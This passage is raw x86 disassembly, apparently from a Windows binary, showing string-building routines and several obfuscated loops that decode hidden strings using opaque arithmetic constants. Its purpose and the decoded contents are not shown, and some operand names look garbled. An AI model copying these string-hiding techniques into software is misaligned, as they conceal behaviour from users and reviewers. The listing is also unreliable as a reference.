sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x4674e5
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x4674e5
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c6c4
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x64], edi
mov dword [esp + 0x68], ecx
cmp ebx, 0x10
jb 0x467583
mov ecx, dword [esp + 0x54]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x4675aa
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x4675ad
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x64], edi
cmp ebx, 0x10
jb 0x46756c
mov ebx, dword [esp + 0x54]
jmp 0x467570
lea ebx, [esp + 0x54]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x4675bd
lea ecx, [esp + 0x54]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x4675b9
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, esi
mov dword [esp + 0x54], ebx
movaps xmm0, xmmword [str.HMMMIBGCNBBXYJ]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473bb0]
movups xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0x684dad48
mov dword [esp + 0x1f4], 0x4070a37e
mov dword [esp + 0x1f8], 0x4463ae54
mov word [esp + 0x1fc], 0x52a4
mov byte [esp + 0x1fe], 0x24
mov dword [esp + 0x1ff], 0
mov word [esp + 0x203], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov edi, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x4679af
mov bl, byte [esp + eax + 0x1d0]
movzx ebp, bl
lea ecx, [edi + 1]
cmp esi, ecx
jae 0x467691
cmp edi, eax
ja 0x4679ba
lea edx, [esi + edi]
mov dword [esp], edx
cmp edx, eax
jbe 0x4676bf
lea edx, [edi + 3]
cmp esi, edx
je 0x4677e9
lea edx, [edi + 0x10]
cmp esi, edx
jne 0x467810
lea edx, [eax + 0x7919d55c]
lea ebx, [eax + ebp]
add ebx, 0x7919d55c
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x7c
jmp 0x4678bc
je 0x4677cd
lea edx, [edi + 3]
cmp esi, edx
jne 0x467730
lea edx, [eax + 0x1d42011b]
lea ebx, [eax + ebp]
add ebx, 0x1d42011b
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x43
jmp 0x4678e2
mov dword [esp + 4], ebp
lea ebp, [edi + 6]
cmp esi, ebp
jae 0x46775c
mov dword [esp + 8], ecx
lea edx, [eax + 0x3403903]
mov ebp, dword [esp + 4]
lea ecx, [eax + ebp]
add ecx, 0x3403903
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0xeb
mov dword [esp + 0xc], ecx
cmp dword [esp], 0x5a
mov ecx, dword [esp + 8]
je 0x46776b
cmp esi, ecx
mov ebp, dword [esp + 4]
je 0x4677e9
lea edx, [edi + 3]
cmp esi, edx
jne 0x467870
lea edx, [eax - 0x1fb0a231]
lea ebx, [eax + ebp]
add ebx, 0xe04f5dcf
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x57
jmp 0x4678bc
lea edx, [edi + 5]
cmp esi, edx
jne 0x4677d7
lea edx, [eax + 0x2a42e527]
lea ebx, [eax + ebp]
add ebx, 0x2a42e527
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0xef
add esi, edi
mov ecx, esi
jmp 0x4678bf
cmp esi, ecx
je 0x4677cd
lea edx, [edi + 3]
cmp esi, edx
jne 0x467837
mov dword [esp + 8], ecx
lea ebx, [eax + 0x5bd7d441]
mov ebp, dword [esp + 4]
lea edx, [eax + ebp]
add edx, 0x5bd7d441
and ebx, ebp
add ebx, ebx
sub edx, ebx
add dl, 0x39
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not edi
add edi, eax
sub edi, edx
mov eax, edi
lea edx, [eax + 0x5f180d44]
lea ecx, [eax + ebp]
add ecx, 0x5f180d44
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x24
mov byte [esp + eax + 0x1d0], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov edi, dword [esp + 8]
movzx edx, bl
add edx, edi
jmp 0x4678e7
lea edx, [edi + 4]
cmp esi, edx
je 0x46780a
lea edx, [edi + 6]
cmp esi, edx
jne 0x46764c
lea edx, [eax + 0x4ed6f035]
mov edi, ecx
lea ecx, [eax + ebp]
add ecx, 0x4ed6f035
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x8d
mov byte [esp + eax + 0x1d0], cl
dec eax
jmp 0x4678e9
lea edx, [edi + 4]
cmp esi, edx
mov ecx, dword [esp]
jne 0x46785c
lea edx, [eax + 0x7f9a4762]
lea ebx, [eax + ebp]
add ebx, 0x7f9a4762
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x52
jmp 0x4678e0
lea edx, [edi + 5]
cmp esi, edx
jne 0x467898
lea edx, [eax - 0x5d74dd6a]
mov esi, dword [esp + 4]
lea ebx, [eax + esi]
add ebx, 0xa28b2296
and edx, esi
add edx, edx
sub ebx, edx
add bl, 0xe6
jmp 0x467893
lea edx, [edi + 0x20]
cmp esi, edx
jne 0x4678f8
mov dword [esp + 8], edi
jmp 0x46779d
lea edx, [edi + 4]
cmp esi, edx
jne 0x467908
lea edx, [eax - 0x1930302b]
lea ebx, [eax + ebp]
add ebx, 0xe6cfcfd5
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0x2d
mov esi, dword [esp]
jmp 0x4678e2
cmp esi, ebp
jne 0x467929
lea edx, [eax - 0x56f46b64]
mov ebp, dword [esp + 4]
lea ebx, [eax + ebp]
add ebx, 0xa90b949c
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 0xbc
mov ecx, dword [esp]
lea esi, [eax + 0x5557623b]
lea edx, [eax + ebp]
add edx, 0x5557623b
and esi, ebp
add esi, esi
sub edx, esi
add dl, bl
add dl, 0x63
mov byte [esp + eax + 0x1d0], dl
mov esi, ecx
movzx edx, bl
not edx
add eax, edx
inc eax
cmp eax, 0x35
jb 0x467633
jmp 0x4679b6
lea edx, [edi + 5]
cmp esi, edx
je 0x4677cd
jmp 0x467623
lea edx, [edi + 5]
cmp esi, edx
jne 0x467959
lea edx, [eax - 0x12afbe25]
lea ebx, [eax + ebp]
add ebx, 0xed5041db
and edx, ebp
add edx, edx
sub ebx, edx
add bl, 3
jmp 0x4678e2
lea edx, [edi + 2]
cmp esi, edx
mov ebp, dword [esp + 4]
je 0x46780a
mov dword [esp + 8], ecx
lea edx, [eax + 0x4444ad3f]
lea ecx, [eax + ebp]
add ecx, 0x4444ad3f
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x47
jmp 0x4676ee
lea edx, [edi + 2]
cmp esi, edx
je 0x467867
lea edx, [edi + 9]
cmp esi, edx
je 0x4677cd
lea edx, [edi + 0x28]
cmp esi, edx
jbe 0x467996
lea edx, [eax + 0xa9242f6]
mov ebx, ecx
lea ecx, [eax + ebp]
add ecx, 0xa9242f6
and edx, ebp
add edx, edx
sub ecx, edx
add cl, 0x46
mov dword [esp + 0xc], ecx
mov ecx, ebx
cmp edi, 1
ja 0x4677e9
mov ecx, dword [esp + 0xc]
mov byte [esp + eax + 0x1d0], cl
jmp 0x4678e9
mov eax, 0xa68707
jmp 0x4679bf
xor eax, eax
jmp 0x4679bf
mov eax, 0x1664e04
lea esi, [esp + eax]
add esi, 0x1d0
xor edi, edi
lea ebx, [esp + 0x5e8]
mov dword [ebx], edi
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, ebx
push eax
push esi
call fcn.00450e50
mov dword [esp + 0x1d0], 0xa070109
mov dword [esp + 0x1d4], 0x1a181416
mov word [esp + 0x1d8], 0x1f1f
mov byte [esp + 0x1da], 0x42
mov dword [esp + 0x1db], edi
mov word [esp + 0x1df], 0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x467d72
mov dl, byte [esp + eax + 0x1d0]
movzx edi, dl
lea ebx, [ecx + 1]
cmp esi, ebx
jae 0x467aa5
cmp ecx, eax
ja 0x467d7d
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x467ab9
mov dword [esp + 4], ebp
lea ebp, [ecx + 0xa]
cmp esi, ebp
je 0x467b02
lea ebp, [ecx + 6]
cmp esi, ebp
je 0x467bf3
lea ebp, [ecx + 8]
cmp esi, ebp
jne 0x467bfa
lea esi, [eax - 0x203a43f8]
lea edx, [eax + edi]
add edx, 0xdfc5bc08
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xc8
jmp 0x467d3e
je 0x467c6c
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x467b26
mov ebx, ecx
jmp 0x467c3e
mov dword [esp], ebx
mov ebx, edi
lea edi, [ecx + 4]
mov dword [esp + 8], edi
cmp esi, edi
jae 0x467b5b
mov dword [esp + 0xc], edx
mov dword [esp + 4], ebp
lea ebp, [eax - 0x322be234]
mov edi, ebx
lea edx, [eax + ebx]
add edx, 0xcdd41dcc
and ebp, ebx
add ebp, ebp
sub edx, ebp
add dl, 0x6c
mov dword [esp + 0x10], edx
mov ebx, dword [esp]
cmp esi, ebx
mov edx, dword [esp + 0xc]
jne 0x467ba0
lea edx, [eax - 0x2fa802ec]
lea ecx, [eax + edi]
add ecx, 0xd057fd14
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x74
mov byte [esp + eax + 0x1d0], cl
jmp 0x467bf5
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x467c14
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x467be8
lea ebx, [eax - 0x27e2b83c]
lea edx, [eax + edi]
add edx, 0xd81d47c4
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0xa4
add esi, ecx
jmp 0x467d42
cmp esi, dword [esp]
je 0x467c6c
mov edi, ebx
mov dword [esp + 4], ebp
lea ebp, [ecx + 2]
cmp esi, ebp
mov ebx, dword [esp]
je 0x467c14
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x467c82
lea esi, [eax + 0x336dd1d8]
lea edx, [eax + edi]
add edx, 0x336dd1d8
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x18
jmp 0x467d3e
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x467bc4
lea esi, [eax + 0x15d44394]
lea edx, [eax + edi]
add edx, 0x15d44394
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xf4
jmp 0x467d3e
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x467c0a
lea ebx, [eax - 0x4e8380d4]
lea edx, [eax + edi]
add edx, 0xb17c7f2c
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0xcc
jmp 0x467d42
lea ebp, [ecx + 6]
cmp esi, ebp
jne 0x467a54
mov ebx, ecx
dec eax
mov ecx, ebx
jmp 0x467c73
lea ebp, [ecx + 4]
cmp esi, ebp
je 0x467c14
cmp esi, ebx
je 0x467c6c
jmp 0x467a2b
cmp esi, dword [esp + 8]
jne 0x467ca3
lea ebp, [eax + 0x7a87444]
lea edx, [edi + eax]
add edx, 0x7a87444
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, 0x24
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
lea edx, [eax - 0x2a836df0]
lea ecx, [eax + edi]
add ecx, 0xd57c9210
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x90
mov byte [esp + eax + 0x1d0], cl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov ecx, ebx
movzx edx, dl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x11
jb 0x467a3b
jmp 0x467d79
lea ebp, [ecx + 6]
cmp esi, ebp
jne 0x467cd4
lea esi, [eax - 0x30e9f290]
lea edx, [eax + edi]
add edx, 0xcf160d70
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xf0
jmp 0x467d1d
lea ebp, [ecx + 8]
cmp esi, ebp
je 0x467c6c
cmp esi, 7
ja 0x467d03
cmp esi, ebx
jbe 0x467d4c
lea edx, [eax - 0x120e74a8]
lea ebx, [eax + edi]
add ebx, 0xedf18b58
and edx, edi
add edx, edx
sub ebx, edx
add bl, 0x98
jmp 0x467d66
cmp esi, dword [esp + 8]
je 0x467bf3
mov dword [esp + 0xc], edx
lea ebp, [eax - 0x1d998e44]
lea edx, [eax + edi]
add edx, 0xe26671bc
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, 0xdc
mov dword [esp + 0x10], edx
jmp 0x467af6
lea esi, [eax - 0x61d3e520]
lea ebx, [eax + edi]
add ebx, 0x9e2c1ae0
and esi, edi
add esi, esi
sub ebx, esi
add dl, bl
add dl, 0xe0
lea esi, [eax + 0x6c0038ac]
lea ebx, [eax + edi]
add ebx, 0x6c0038ac
and esi, edi
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0x4c
mov byte [esp + eax + 0x1d0], bl
mov esi, dword [esp + 4]
movzx edx, dl
not edx
jmp 0x467c71
lea edx, [ecx + 2]
cmp esi, edx
je 0x467ab2
lea edx, [ecx + 6]
cmp esi, edx
mov ebx, dword [esp + 0x10]
je 0x467bf3
mov byte [esp + eax + 0x1d0], bl
jmp 0x467c73
mov eax, 0xd822dc
jmp 0x467d82
xor eax, eax
jmp 0x467d82
mov eax, 0x1440510
lea esi, [esp + eax]
add esi, 0x1d0
xor ebx, ebx
lea edi, [esp + 0x5d0]
mov dword [edi], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], 0xf
mov byte [edi], bl
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov ecx, edi
push eax
push esi
call fcn.00450e50
mov dword [esp + 0x1d0], 0x48478681
mov dword [esp + 0x1d4], 0x49434c70
mov dword [esp + 0x1d8], 0x404a7a72
mov word [esp + 0x1dc], 0xcfad
mov byte [esp + 0x1de], 0xc4
xorps xmm0, xmm0
movups xmmword [esp + 0x1df], xmm0
mov byte [esp + 0x1ef], bl
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46802b
mov bl, byte [esp + eax + 0x1d0]
movzx edx, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x467e40
cmp ecx, eax
ja 0x468036
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x467e75
lea edi, [ecx + 6]
cmp esi, edi
jne 0x467ed4
mov edi, ecx
jmp 0x467ea4
je 0x467edf
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x467e7a
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x467f1c
lea edi, [eax + 0x4f52e77b]
lea ebx, [eax + edx]
add ebx, 0x4f52e77b
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xa3
jmp 0x467fb0
cmp ebp, 0x20
jne 0x467ef5
lea ebp, [eax - 0x1809ea9f]
lea ebx, [edx + eax]
add ebx, 0xe7f61561
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0x59
mov byte [esp + eax + 0x1d0], bl
movzx ebx, bl
not ecx
add ecx, eax
sub ecx, ebx
mov eax, ecx
lea ebx, [eax - 0x481d263c]
lea ecx, [eax + edx]
add ecx, 0xb7e2d9c4
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0xa4
mov byte [esp + eax + 0x1d0], cl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov ecx, edi
jmp 0x467edf
lea edx, [ecx + 5]
cmp esi, edx
jne 0x467df9
movzx edx, bl
add edx, ecx
add eax, edx
inc eax
cmp eax, 0x20
jb 0x467e09
jmp 0x468032
cmp esi, edi
jne 0x467f3d
lea edi, [eax - 0x57bcfc2b]
lea ecx, [eax + edx]
add ecx, 0xa84303d5
and edi, edx
add edi, edi
sub ecx, edi
add cl, 0x2d
mov byte [esp + eax + 0x1d0], cl
mov ecx, esi
jmp 0x467f44
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x467f47
lea edi, [eax - 0x10d38fbf]
lea ebx, [eax + edx]
add ebx, 0xef2c7041
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x39
jmp 0x467fae
lea edi, [ecx + 3]
cmp esi, edi
jne 0x467f8f
dec eax
jmp 0x467ee6
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x467e22
lea edi, [eax - 0x70fa06f9]
lea ebx, [eax + edx]
add ebx, 0x8f05f907
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xcf
lea edi, [eax + 0x481c8c9b]
lea ebp, [eax + edx]
add ebp, 0x481c8c9b
and edi, edx
add edi, edi
mov edx, ebp
sub edx, edi
add dl, bl
add dl, 0xc3
mov byte [esp + eax + 0x1d0], dl
jmp 0x467fae
lea edi, [ecx + 2]
cmp esi, edi
jne 0x467fba
lea edi, [eax - 0x5555888b]
lea ebx, [eax + edx]
add ebx, 0xaaaa7775
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xcd
add esi, ecx
movzx edx, bl
not edx
jmp 0x467ee4
lea edi, [ecx + 5]
cmp esi, edi
jne 0x467fdb
lea edi, [eax + 0x4a84003b]
lea ebx, [eax + edx]
add ebx, 0x4a84003b
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x63
jmp 0x467fb0
lea edi, [ecx + 4]
cmp esi, edi
je 0x467e3c
lea edi, [ecx + 0xa]
cmp esi, edi
jbe 0x468007
lea edi, [eax - 0x6629184a]
lea ebx, [eax + edx]
add ebx, 0x99d6e7b6
and edi, edx
add edi, edi
sub ebx, edi
add bl, 6
jmp 0x46801f
lea edi, [eax - 0x30133b9d]
lea ebx, [eax + edx]
add ebx, 0xcfecc463
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x4b
mov byte [esp + eax + 0x1d0], bl
jmp 0x467ee6
mov eax, 0x140b6e7
jmp 0x46803b
xor eax, eax
jmp 0x46803b
mov eax, 0x153f284
lea esi, [esp + eax]
add esi, 0x1d0
xor edi, edi
lea ebx, [esp + 0x14]
mov dword [ebx], edi
mov dword [ebx + 0x10], edi
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov dword [esp + 8], ebx
mov ecx, ebx
push eax
push esi
call fcn.00450e50
movaps xmm0, xmmword [0x473bc0]
movups xmmword [esp + 0x1d0], xmm0
movaps xmm0, xmmword [0x473bd0]
movups xmmword [esp + 0x1e0], xmm0
mov dword [esp + 0x1f0], 0xa8a7aaa4
mov dword [esp + 0x1f4], 0x20afefd1
mov dword [esp + 0x1f8], 0xf8fafe10
mov word [esp + 0x1fc], 0xe9fc
mov dword [esp + 0x202], edi
mov dword [esp + 0x1fe], edi
mov word [esp + 0x206], 0
call fcn.0046d640
mov eax, dword [eax]
mov dword [esp], eax
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp dword [esp], eax
ja 0x4683d5
mov dl, byte [esp + eax + 0x1d0]
movzx edi, dl
lea ebp, [ecx + 1]
cmp dword [esp], ebp
jae 0x468165
cmp ecx, eax
ja 0x4683e0
lea esi, [ecx + 0x2a]
cmp dword [esp], esi
jae 0x46816e
mov dword [esp + 4], edi
mov edi, dword [esp]
lea ebx, [edi + ecx]
cmp ebx, eax
jbe 0x46820d
lea ebx, [ecx + 2]
cmp dword [esp], ebx
cmovne ebp, ecx
je 0x4682e4
lea ebx, [ecx + 0x20]
cmp dword [esp], ebx
je 0x4682e4
cmp dword [esp], esi
jne 0x4682b1
lea esi, [eax + 0x27154806]
mov edi, dword [esp + 4]
lea edx, [eax + edi]
add edx, 0x27154806
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xd6
jmp 0x4681fe
jne 0x4681d2
mov ebp, ecx
jmp 0x468274
cmp dword [esp], ebp
je 0x468282
mov dword [esp + 4], edi
lea ebx, [ecx + 3]
cmp dword [esp], ebx
je 0x4682e2
lea ebx, [ecx + 4]
cmp dword [esp], ebx
jne 0x4682f6
lea esi, [eax + 0x21783695]
mov edi, dword [esp + 4]
lea edx, [eax + edi]
add edx, 0x21783695
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xed
lea esi, [eax + 0xf407f01]
lea ebx, [edi + eax]
add ebx, 0xf407f01
and esi, edi
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xf9
mov byte [esp + eax + 0x1d0], bl
jmp 0x4681fe
lea esi, [ecx + 2]
cmp dword [esp], esi
je 0x468216
lea esi, [ecx + 5]
cmp dword [esp], esi
jne 0x4682a3
lea esi, [eax + 0x76a05b53]
lea edx, [eax + edi]
add edx, 0x76a05b53
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xbb
add dword [esp], ecx
movzx edx, dl
not edx
add eax, edx
jmp 0x4682e7
cmp ebx, 9
mov edi, dword [esp + 4]
jne 0x46827d
lea esi, [eax - 0x4f8b134d]
lea edx, [edi + eax]
add edx, 0xb074ecb3
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x1b
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
mov esi, ecx
sub esi, edx
lea ebx, [esi + 0x10f238c]
lea eax, [esi + edi]
add eax, 0x10f238c
and ebx, edi
mov edi, dword [esp]
add ebx, ebx
sub eax, ebx
add al, 0x2c
mov byte [esp + esi + 0x1d0], al
add edx, edi
inc edi
mov dword [esp], edi
sub ecx, edx
mov dl, byte [esp + ecx + 0x1ce]
add ecx, 0xfffffffe
mov eax, ecx
movzx ecx, dl
add ecx, ebp
add eax, ecx
jmp 0x4682e5
cmp dword [esp], ebp
jne 0x4682da
lea edx, [eax + 0x6e0c114f]
lea ecx, [edi + eax]
add ecx, 0x6e0c114f
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0xd7
mov byte [esp + eax + 0x1d0], cl
jmp 0x4682e4
lea esi, [ecx + 3]
cmp dword [esp], esi
jne 0x4680fe
jmp 0x4682e2
lea esi, [ecx + 0xa]
cmp dword [esp], esi
mov ebx, dword [esp + 4]
jne 0x468323
lea esi, [eax - 0x37b64a48]
lea edx, [eax + ebx]
add edx, 0xc849b5b8
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xf8
jmp 0x468201
lea esi, [ecx + 2]
cmp dword [esp], esi
jne 0x468336
mov ebp, ecx
dec eax
mov ecx, ebp
inc eax
cmp eax, 0x38
jb 0x4680e3
jmp 0x4683dc
lea ebx, [ecx + 2]
cmp dword [esp], ebx
mov edi, dword [esp + 4]
jne 0x46810e
lea esi, [eax + 0x63e111f9]
lea edx, [eax + edi]
add edx, 0x63e111f9
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x31
jmp 0x468201
lea esi, [ecx + 8]
mov ebp, ecx
cmp dword [esp], esi
je 0x468274
jmp 0x4680d0
lea esi, [ecx + 5]
cmp dword [esp], esi
jne 0x46835b
lea esi, [eax - 0x4065c1f]
lea edx, [eax + edi]
add edx, 0xfbf9a3e1
and esi, edi
add esi, esi
sub edx, esi
add dl, 0xd9
jmp 0x468201
lea esi, [ecx + 4]
cmp dword [esp], esi
je 0x468216
lea esi, [ecx + 9]
cmp dword [esp], esi
je 0x468167
cmp dword [esp], 0
je 0x4683aa
lea esi, [eax - 0x4159b7d8]
lea ebp, [eax + edi]
add ebp, 0xbea64828
and esi, edi
add esi, esi
sub ebp, esi
mov dword [esp + 0xc], edx
mov edx, ebp
mov ebx, dword [esp + 0xc]
add bl, dl
mov dword [esp + 0xc], ebx
mov edx, dword [esp + 0xc]
add dl, 0xe8
jmp 0x4681af
lea esi, [eax + 0x509a36d9]
lea edx, [eax + edi]
add edx, 0x509a36d9
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x11
mov byte [esp + eax + 0x1d0], dl
mov dword [esp], 0
jmp 0x4682e7
mov eax, 0x7710a5
jmp 0x4683e5
xor eax, eax
jmp 0x4683e5
mov eax, 0x15cd9cc
lea esi, [esp + eax]
add esi, 0x1d0
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov edi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, edi
jae 0x4684d9
mov eax, closesocket
sub eax, ebp
cmp eax, edi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], esi
mov esi, edi
add esi, ebp
mov ecx, esi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], esi
js 0x468467
mov edx, ebx
shr edx, 1
mov esi, edx
xor esi, 0x7fffffff
cmp esi, ebx
mov esi, dword [esp + 4]
jb 0x468467
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c6e2
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x468507
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov esi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, esi
push edi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edi, esi
mov eax, dword [esp + 4]
mov byte [esi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x46852e
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x468531
mov ecx, esi
mov esi, edi
add esi, ebp
mov dword [esp + 0x24], esi
cmp ebx, 0x10
jb 0x4684f0
mov eax, dword [esp + 0x14]
mov dword [esp + 8], eax
mov ebx, dword [esp + 8]
add ebp, ebx
push edi
push ecx
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x468541
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push edi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + esi], 0
jmp 0x46853d
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, edi
mov dword [esp + 0x14], ebx
xor eax, eax
mov dword [esp + 0x1e7], eax
mov dword [esp + 0x1e3], eax
xorps xmm0, xmm0
movups xmmword [esp + 0x1d3], xmm0
mov word [esp + 0x1d0], 0x5355
mov byte [esp + 0x1d2], 0x64
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x4686d6
mov bl, byte [esp + eax + 0x1d0]
movzx edi, bl
lea edx, [ecx + 1]
cmp esi, edx
jae 0x4685d4
cmp ecx, eax
ja 0x4686e1
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x4685dd
lea edx, [ecx + 0x10]
cmp esi, edx
je 0x468620
lea edx, [ecx + 5]
cmp esi, edx
jne 0x46856e
lea edx, [eax + 0x16]
and edx, edi
add edx, edx
add edi, eax
sub edx, edi
add edx, 0x83
or edx, 0xffffff00
add eax, edx
mov esi, ebp
jmp 0x468693
jne 0x468602
mov edx, ecx
jmp 0x46868a
cmp esi, edx
jne 0x468619
lea ebx, [eax + 0x50103a37]
lea ecx, [edi + eax]
add ecx, 0x50103a37
and ebx, edi
add ebx, ebx
sub ecx, ebx
add cl, 0x7f
mov byte [esp + eax + 0x1d0], cl
jmp 0x468622
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x46862c
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x468620
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x468597
jmp 0x4685e1
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x468625
mov edx, ecx
dec eax
jmp 0x468691
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x46869f
lea ebp, [eax + 0x444290fb]
lea ebx, [edi + eax]
add ebx, 0x444290fb
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, 0x23
mov byte [esp + eax + 0x1d0], bl
movzx ebx, bl
not ecx
add ecx, eax
